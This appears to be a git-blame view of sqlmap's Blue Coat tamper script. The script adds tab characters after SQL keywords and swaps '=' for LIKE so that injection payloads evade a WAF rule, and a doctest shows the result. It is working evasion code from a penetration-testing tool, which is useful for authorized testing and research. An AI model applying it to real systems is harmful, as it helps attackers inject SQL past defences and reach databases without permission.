2019-05-08 13:47:52 +03:00
|
|
|
#!/usr/bin/env python
|
2012-11-03 22:15:22 +04:00
|
|
|
|
|
|
|
"""
|
2020-12-31 13:46:27 +03:00
|
|
|
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
2017-10-11 15:50:46 +03:00
|
|
|
See the file 'LICENSE' for copying permission
|
2012-11-03 22:15:22 +04:00
|
|
|
"""
|
|
|
|
|
|
|
|
import re
|
|
|
|
|
2014-08-28 14:34:15 +04:00
|
|
|
from lib.core.data import kb
|
2012-11-03 22:15:22 +04:00
|
|
|
from lib.core.enums import PRIORITY
|
|
|
|
|
2012-11-05 16:09:53 +04:00
|
|
|
__priority__ = PRIORITY.NORMAL
|
2012-11-03 22:15:22 +04:00
|
|
|
|
|
|
|
def dependencies():
|
2012-11-29 18:53:54 +04:00
|
|
|
pass
|
2012-11-03 22:15:22 +04:00
|
|
|
|
2012-12-03 17:27:01 +04:00
|
|
|
def tamper(payload, **kwargs):
|
2012-11-05 16:09:53 +04:00
|
|
|
"""
|
2018-07-31 03:18:33 +03:00
|
|
|
Replaces space character after SQL statement with a valid random blank character. Afterwards replace character '=' with operator LIKE
|
2012-11-03 22:15:22 +04:00
|
|
|
|
|
|
|
Requirement:
|
2012-11-29 18:53:54 +04:00
|
|
|
* Blue Coat SGOS with WAF activated as documented in
|
2012-11-03 22:15:22 +04:00
|
|
|
https://kb.bluecoat.com/index?page=content&id=FAQ2147
|
|
|
|
|
|
|
|
Tested against:
|
2012-11-05 16:09:53 +04:00
|
|
|
* MySQL 5.1, SGOS
|
2012-11-03 22:15:22 +04:00
|
|
|
|
|
|
|
Notes:
|
2012-11-05 16:09:53 +04:00
|
|
|
* Useful to bypass Blue Coat's recommended WAF rule configuration
|
2013-03-14 00:57:09 +04:00
|
|
|
|
2014-08-28 14:34:15 +04:00
|
|
|
>>> tamper('SELECT id FROM users WHERE id = 1')
|
|
|
|
'SELECT%09id FROM%09users WHERE%09id LIKE 1'
|
2012-11-05 16:09:53 +04:00
|
|
|
"""
|
2012-11-03 22:15:22 +04:00
|
|
|
|
2014-08-28 14:34:15 +04:00
|
|
|
def process(match):
|
|
|
|
word = match.group('word')
|
|
|
|
if word.upper() in kb.keywords:
|
|
|
|
return match.group().replace(word, "%s%%09" % word)
|
|
|
|
else:
|
|
|
|
return match.group()
|
|
|
|
|
2012-11-05 16:09:53 +04:00
|
|
|
retVal = payload
|
2012-11-03 22:15:22 +04:00
|
|
|
|
2012-11-05 16:09:53 +04:00
|
|
|
if payload:
|
2019-05-30 23:55:54 +03:00
|
|
|
retVal = re.sub(r"\b(?P<word>[A-Z_]+)(?=[^\w(]|\Z)", process, retVal)
|
2012-11-05 16:09:53 +04:00
|
|
|
retVal = re.sub(r"\s*=\s*", " LIKE ", retVal)
|
2014-08-28 14:34:15 +04:00
|
|
|
retVal = retVal.replace("%09 ", "%09")
|
2012-11-03 22:15:22 +04:00
|
|
|
|
2012-11-05 16:09:53 +04:00
|
|
|
return retVal
|